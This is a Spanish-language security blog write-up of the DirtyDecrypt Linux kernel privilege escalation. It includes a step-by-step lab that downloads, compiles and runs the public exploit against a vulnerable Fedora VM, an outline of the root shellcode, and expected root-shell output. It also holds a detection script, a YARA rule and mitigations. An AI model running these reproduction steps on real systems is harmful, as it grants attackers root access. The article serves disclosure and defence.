Inicio Linux & Systems Cybersecurity Cloud & DevOps Networks & Infrastructure SIEM & Monitoring DFIR & Threat Intel Development & Other Todas las categorias Herramientas

DirtyDecrypt (CVE-2026-31635): escalada de privilegios en Linux via rxgk pagecache write

DirtyDecrypt (CVE-2026-31635): escalada de privilegios en Linux via rxgk pagecache write

Tabla de contenidos

Que es DirtyDecrypt

DirtyDecrypt (tambien conocido como DirtyCBC) es una vulnerabilidad de escalada local de privilegios (LPE) en el kernel de Linux que permite a un usuario sin privilegios obtener root en sistemas con el modulo rxgk habilitado (CONFIG_RXGK). El bug es la falta de proteccion COW (Copy-On-Write) en rxgk_decrypt_skb(), lo que permite corromper el page cache del kernel escribiendo bytes arbitrarios en ficheros de solo lectura.

El exploit, descubierto autonomamente por Aaron Esau del equipo V12 Security (reportado el 9 de mayo de 2026), sobreescribe un binario suid-root (como /usr/bin/su) con un shellcode ELF minimo que ejecuta setuid(0) + execve("/bin/sh"), obteniendo root instantaneamente.

Datos clave

CampoValor
CVECVE-2026-31635 (segun Will Dormann / Tharros)
NombreDirtyDecrypt / DirtyCBC
CVSS~7.8 (High) — LPE local
CWECWE-667 (Improper Locking / Missing COW)
DescubridorAaron Esau / V12 Security (descubierto por AI)
VendorLinux Kernel
ParcheMainline (25 abril 2026)
AfectadosKernels ≥6.16 con CONFIG_RXGK=y/m (introducido en 6.16)
Distros afectadasFedora 42+, Arch Linux, openSUSE Tumbleweed (kernel ≥6.16)
PrerequisitoUsuario local + CONFIG_RXGK + binario suid-root legible + kernel.keys.maxkeys suficiente
FamiliaDirty Frag, Fragnesia, Copy Fail (page cache class)

Como funciona el bug

El problema: decrypt in-place sin COW

En net/rxrpc/rxgk_common.h, la funcion rxgk_decrypt_skb() ejecuta la siguiente secuencia:

  1. skb_to_sgvec() — convierte los fragmentos del SKB en un scatter-gather list
  2. crypto_krb5_decrypt() — descifra in-place usando AEAD (AES-CBC)

El problema: no llama a skb_cow_data() antes del descifrado. El template krb5enc en crypto/krb5enc.c descifra in-place antes de verificar el HMAC. Cuando las paginas de los fragmentos del SKB son paginas del page cache (inyectadas via splice → MSG_SPLICE_PAGES → loopback), el descifrado in-place corrompe directamente el page cache.

C
// Pseudocodigo del bug
void rxgk_decrypt_skb(skb) {
    sgvec = skb_to_sgvec(skb);        // paginas del page cache
    crypto_krb5_decrypt(sgvec);         // descifra IN-PLACE ← corrompe page cache!
    // falta: skb_cow_data() deberia copiar las paginas primero
    verify_hmac(sgvec);                 // HMAC falla, pero el dano ya esta hecho
}

El mismo patron existe en rxkad_verify_packet_2() (rxkad).

Sliding window: escritura byte a byte

El exploit usa una tecnica de ventana deslizante para escribir bytes arbitrarios al page cache, uno por uno:

  1. Round i: dispara un paquete rxgk spliceado en offset S+i, corrompiendo un bloque AES de 16 bytes
  2. El byte [0] del output es uniformemente aleatorio (probabilidad 1/256 del valor deseado)
  3. Round i+1: en offset S+i+1, sobrescribe los 15 bytes de dano colateral del round anterior, pero nunca toca el byte ya escrito en round i

Resultado: escritura con granularidad de un byte a ~256 disparos por byte. Para un shellcode de 120 bytes, son ~30,720 disparos → unos minutos.

De page cache corruption a root

  1. Encontrar un binario suid-root legible por el usuario (e.g. /usr/bin/su, /usr/bin/mount)
  2. Hacer backup del binario
  3. Abrir el fichero con O_RDONLY y hacer mmap(MAP_SHARED) para mantener las paginas en cache
  4. Desde un user namespace (loopback + rxgk), disparar la corrupcion byte a byte
  5. Sobreescribir los primeros 120 bytes con un shellcode ELF tiny:
  • setuid(0) (syscall 105)
  • execve("/bin/sh", NULL, NULL) (syscall 59)
  1. Ejecutar el binario suid corrupto → shell root

El shellcode ELF (120 bytes)

NASM
; tiny_elf: ET_DYN ELF x86_64, 120 bytes
; PT_LOAD cubre exactamente 120 bytes
; Offset 0x68: entry point
;   mov al, 0x69     ; sys_setuid
;   syscall           ; setuid(0)
;   lea rdi, "/bin/sh" ; string embedded in p_paddr
;   push 59; pop rax  ; sys_execve
;   syscall           ; execve("/bin/sh", 0, 0)

El ELF es un ejecutable PIE valido de solo 120 bytes que coincide con los primeros 24 bytes de cualquier binario PIE (ET_DYN, x86_64), minimizando las diferencias a escribir.

Laboratorio de reproduccion

Arquitectura del lab

CODE
┌───────────────────────────────────────────────────────────────┐
│  Vagrant VM: Fedora 42 (bento/fedora-42) — kernel con RXGK   │
│  - 2 CPUs, 2GB RAM (VirtualBox)                              │
│  - CONFIG_RXGK=y habilitado (kernel 6.16+)                   │
│  - Usuario sin privilegios: testuser                         │
│                                                               │
│  ┌─────────────────────────────────────────────────────────┐  │
│  │  Exploit (poc.c) como usuario 'testuser'               │  │
│  │                                                         │  │
│  │  1. fork() → hijo en user+net namespace                │  │
│  │  2. Loopback + AF_RXRPC + splice → pagecache write    │  │
│  │  3. Sliding window → sobreescribe /usr/bin/su (suid)  │  │
│  │  4. exec /usr/bin/su → shell root                     │  │
│  └─────────────────────────────────────────────────────────┘  │
└───────────────────────────────────────────────────────────────┘

Requisitos

  • VirtualBox 6.x / 7.x
  • Vagrant 2.x
  • ~3GB espacio disco (box Fedora 42)
  • Conexion a internet (descarga box primera vez)

Importante: CONFIG_RXGK se introdujo en el kernel 6.16. Fedora 40 y anteriores no son vulnerables (no tienen el modulo). Necesitas Fedora 42+ (o Arch/openSUSE Tumbleweed con kernel ≥6.16).

Vagrantfile

RUBY
Vagrant.configure("2") do |config|
  config.vm.box = "bento/fedora-42"
  config.vm.synced_folder ".", "/vagrant", disabled: true

  config.vm.provider "virtualbox" do |vb|
    vb.memory = "2048"
    vb.cpus = 2
    vb.name = "fedora-dirtydecrypt"
  end

  config.vm.provision "shell", inline: <<-SHELL
    # Crear usuario sin privilegios
    useradd -m -s /bin/bash testuser 2>/dev/null || true
    echo "testuser:testuser123" | chpasswd
    # Instalar compilador
    dnf install -y gcc make kernel-headers 2>/dev/null
    # Aumentar cuota de claves del kernel (necesario para el exploit)
    sysctl -w kernel.keys.maxkeys=100000
    sysctl -w kernel.keys.maxbytes=10000000
    # Verificar CONFIG_RXGK
    echo "[*] CONFIG_RXGK: $(grep CONFIG_RXGK /boot/config-$(uname -r) 2>/dev/null || echo 'NOT FOUND')"
    echo "[*] Kernel: $(uname -r)"
  SHELL
end

Despliegue y ejecucion

BASH
# 1. Crear directorio del lab
mkdir dirtydecrypt-lab && cd dirtydecrypt-lab

# 2. Crear Vagrantfile (ver arriba) y arrancar VM
vagrant up

# 3. Verificar que CONFIG_RXGK esta habilitado
vagrant ssh -c "grep CONFIG_RXGK /boot/config-\$(uname -r)"
# Salida esperada: CONFIG_RXGK=y

# 4. Verificar version del kernel (debe ser >= 6.16 y < 6.19.13)
vagrant ssh -c "uname -r"
# NOTA: Si el kernel ya esta parcheado (>= 6.19.13), instalar uno vulnerable:
#   vagrant ssh -c "sudo dnf install -y koji"
#   vagrant ssh -c "cd /tmp && koji download-build --arch=x86_64 kernel-6.19.11-100.fc42"
#   vagrant ssh -c "sudo dnf install -y /tmp/kernel-core-6.19.11*.rpm \
#     /tmp/kernel-modules-core-6.19.11*.rpm /tmp/kernel-modules-6.19.11*.rpm"
#   vagrant ssh -c "sudo grubby --set-default /boot/vmlinuz-6.19.11-100.fc42.x86_64"
#   vagrant reload

# 5. Descargar exploit en la VM
vagrant ssh -c "curl -sL -o /tmp/poc.c \
  https://raw.githubusercontent.com/v12-security/pocs/main/dirtydecrypt/poc.c"

# 6. Compilar
vagrant ssh -c "gcc -O2 -o /tmp/dirtydecrypt /tmp/poc.c && chmod 755 /tmp/dirtydecrypt"

# 7. Ejecutar como usuario sin privilegios
vagrant ssh -c "sudo -u testuser /tmp/dirtydecrypt"

Salida esperada

CODE
=== rxgk pagecache write ===
uid=1001 euid=1001
[*] writing shellcode to /usr/bin/su (96 bytes from offset 24)
    [========================================] 100% (96/96, 23400 fires)
[*] 23400 fires in 185.9s
[*] exec /usr/bin/su
[*] restore: cp /tmp/.su_3759 /usr/bin/su
# id
uid=0(root) gid=0(root) groups=0(root)

Restaurar el binario corrupto

BASH
# Desde la shell root obtenida:
cp /tmp/.su_<PID> /usr/bin/su
chmod 4755 /usr/bin/su

Limpiar el lab

BASH
vagrant destroy -f

Deteccion del ataque

Indicadores

  • Procesos creando user namespaces + sockets AF_RXRPC (syscall poco comun)
  • Modificaciones inesperadas en el contenido de binarios suid-root
  • Multiples paquetes UDP en loopback con protocolo rxrpc
  • Backups sospechosos en /tmp/ con prefijo punto (e.g. /tmp/.su_*)

Script de deteccion

BASH
#!/bin/bash
# check_dirtydecrypt.sh — Linux

echo "=== DirtyDecrypt (CVE-2026-31635) Check ==="

# 1. Kernel
KERNEL=$(uname -r)
echo "[INFO] Kernel: $KERNEL"

# 2. CONFIG_RXGK habilitado?
CONFIG_FILE="/boot/config-$KERNEL"
if [ -f "$CONFIG_FILE" ]; then
    RXGK=$(grep "CONFIG_RXGK" "$CONFIG_FILE" 2>/dev/null)
    if echo "$RXGK" | grep -q "=m\|=y"; then
        echo "[VULNERABLE] CONFIG_RXGK habilitado: $RXGK"
    else
        echo "[OK] CONFIG_RXGK no habilitado"
        exit 0
    fi
else
    # Intentar via modprobe
    if modprobe -n rxgk 2>/dev/null; then
        echo "[VULNERABLE] modulo rxgk disponible"
    elif modprobe -n rxrpc 2>/dev/null; then
        echo "[WARNING] rxrpc disponible (verificar rxgk manualmente)"
    else
        echo "[OK] rxgk/rxrpc no disponible"
        exit 0
    fi
fi

# 3. Modulo cargado?
if lsmod | grep -q rxgk; then
    echo "[INFO] modulo rxgk cargado actualmente"
elif lsmod | grep -q rxrpc; then
    echo "[INFO] modulo rxrpc cargado (rxgk puede cargarse bajo demanda)"
fi

# 4. Indicadores de compromiso
echo ""
for pat in /tmp/.su_* /tmp/.mount_* /tmp/.passwd_* /tmp/.chsh_*; do
    if compgen -G "$pat" > /dev/null 2>&1; then
        echo "[CRITICO] Backup sospechoso encontrado: $pat"
        ls -la $pat 2>/dev/null
    fi
done

# 5. Verificar integridad de binarios suid
echo ""
echo "[INFO] Verificando binarios suid-root..."
for f in /usr/bin/su /usr/bin/mount /usr/bin/passwd /usr/bin/chsh; do
    if [ -f "$f" ]; then
        MAGIC=$(xxd -l 4 "$f" 2>/dev/null | awk '{print $2 $3}')
        if [ "$MAGIC" != "7f454c46" ]; then
            echo "[CRITICO] $f tiene magic bytes corruptos!"
        fi
    fi
done

echo ""
echo "[MITIGACION] Para deshabilitar rxgk:"
echo "  echo 'install rxgk /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  echo 'install rxrpc /bin/false' >> /etc/modprobe.d/dirtydecrypt.conf"
echo "  rmmod rxgk rxrpc 2>/dev/null"

Regla YARA

YARA
rule Linux_DirtyDecrypt_PoC {
    meta:
        description = "Detecta exploit DirtyDecrypt / DirtyCBC (CVE-2026-31635)"
        author = "Red Orbita"
        date = "2026-05-18"
        cve = "CVE-2026-31635"
        severity = "high"

    strings:
        $s1 = "rxgk_decrypt_skb" ascii
        $s2 = "rxgk pagecache write" ascii
        $s3 = "skb_cow_data" ascii
        $s4 = "sliding-window" ascii nocase
        $s5 = "AF_RXRPC" ascii
        $s6 = "RXGK_SECURITY_INDEX" ascii
        $s7 = "pagecache_write" ascii
        $s8 = "DirtyDecrypt" ascii nocase
        $s9 = "DirtyCBC" ascii nocase
        $s10 = "tiny_elf" ascii
        $s11 = "/tmp/.su_" ascii
        $s12 = "CLONE_NEWUSER" ascii

    condition:
        ($s2) or
        ($s8 or $s9) or
        ($s6 and $s7) or
        ($s5 and $s10 and $s12) or
        (4 of ($s*))
}

Workaround

Deshabilitar los modulos rxgk y rxrpc:

BASH
# Mitigacion inmediata
sh -c "printf 'install rxgk /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtydecrypt.conf"
rmmod rxgk rxrpc 2>/dev/null
echo 3 > /proc/sys/vm/drop_caches

# Mitigacion combinada (incluye Dirty Frag / Fragnesia / Copy Fail)
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf; rmmod esp4 esp6 rxrpc 2>/dev/null; echo 3 > /proc/sys/vm/drop_caches; true"

Nota: esto deja inutilizables las funciones de IPsec VPN (esp4/esp6) y AFS (rxrpc/rxgk).

Solucion definitiva

Actualizar el kernel a una version parcheada. El fix anade skb_cow_data() antes del descifrado:

DIFF
+ if (skb_cow_data(skb, 0, &trailer) < 0)
+     return -ENOMEM;
  sg_init_table(sg, nsg);
  skb_to_sgvec(skb, sg, offset, len);
  crypto_krb5_decrypt(...);
BASH
# Fedora
sudo dnf upgrade --refresh
sudo reboot

# Arch Linux
sudo pacman -Syu
sudo reboot

Relacion con otras vulns de page cache

DirtyDecrypt pertenece a una familia de vulnerabilidades LPE que explotan la corrupcion del page cache del kernel Linux:

VulnerabilidadModuloTecnicaEstado
Dirty Fragesp4/esp6splice + decrypt in-place (IPsec)Parcheado
Fragnesiaesp4/esp6Variante de Dirty Frag con TCPParcheado
Copy Fail (CVE-2026-32202)esp4/esp6Explotado activamente (CISA KEV)Parcheado
DirtyDecrypt (CVE-2026-31635)rxgksplice + decrypt in-place (AFS/RxGK)Parcheado mainline

Todas comparten la misma raiz: descifrado in-place de paginas del page cache sin proteccion COW. La mitigacion comun es deshabilitar los modulos criptograficos afectados.

Timeline

FechaEvento
25 abril 2026Parche aplicado en kernel mainline
9 mayo 2026V12 Security reporta independientemente (informado de duplicado)
18 mayo 2026V12 publica PoC y writeup
18 mayo 2026BleepingComputer publica noticia
18 mayo 2026Will Dormann (Tharros) lo asocia con CVE-2026-31635

Referencias

Comentarios